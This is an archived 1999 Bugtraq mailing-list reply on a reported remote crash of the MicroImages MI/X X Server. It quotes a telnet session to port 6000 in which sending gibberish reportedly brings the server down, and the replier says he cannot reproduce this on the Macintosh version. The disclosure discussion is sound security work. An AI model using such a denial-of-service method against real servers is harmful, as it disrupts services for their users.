[12140] in bugtraq
Re: MicroImages MIX X Server
daemon@ATHENA.MIT.EDU (Rich Lafferty)
Wed Oct 6 14:41:11 1999
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Date: Tue, 5 Oct 1999 15:07:24 -0400
Reply-To: Rich Lafferty <rich@ALCOR.CONCORDIA.CA>
From: Rich Lafferty <rich@ALCOR.CONCORDIA.CA>
X-To: Jan Szumiec <jszumiec@PROMAIL.PL>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <37F87E12.ECC46617@promail.pl>; from "Jan Szumiec" on Mon,
Oct 04, 1999 at 12:14:42PM
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Quoting Jan Szumiec (jszumiec@PROMAIL.PL) from Mon, Oct 04, 1999 at 12:14:4=
2PM +0200:
> I don't know whether anyone wrote about this, so here it goes.
>=20
> It is possible to bring down the XServer remotely ...
>=20
> $ telnet 192.168.1.2 6000
> Connected to 192.168.1.2
> Escape character is ^[
> djkfhgjksdhgjklhgjklsdhgjklehrslhgsd
> Connection closed by remote host.
> $
>=20
> Basically telneting into port 6000 of the server and typing in random
> gibberish, brings it down.
I can't reproduce this with MI/X for Macintosh. Same behavior as above
but the server keeps running fine.
-Rich
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------------------------------ Rich Lafferty ---------------------------
Sysadmin/Programmer, Information and Instructional Technology Services
Concordia University, Montreal, QC (514) 848-7625
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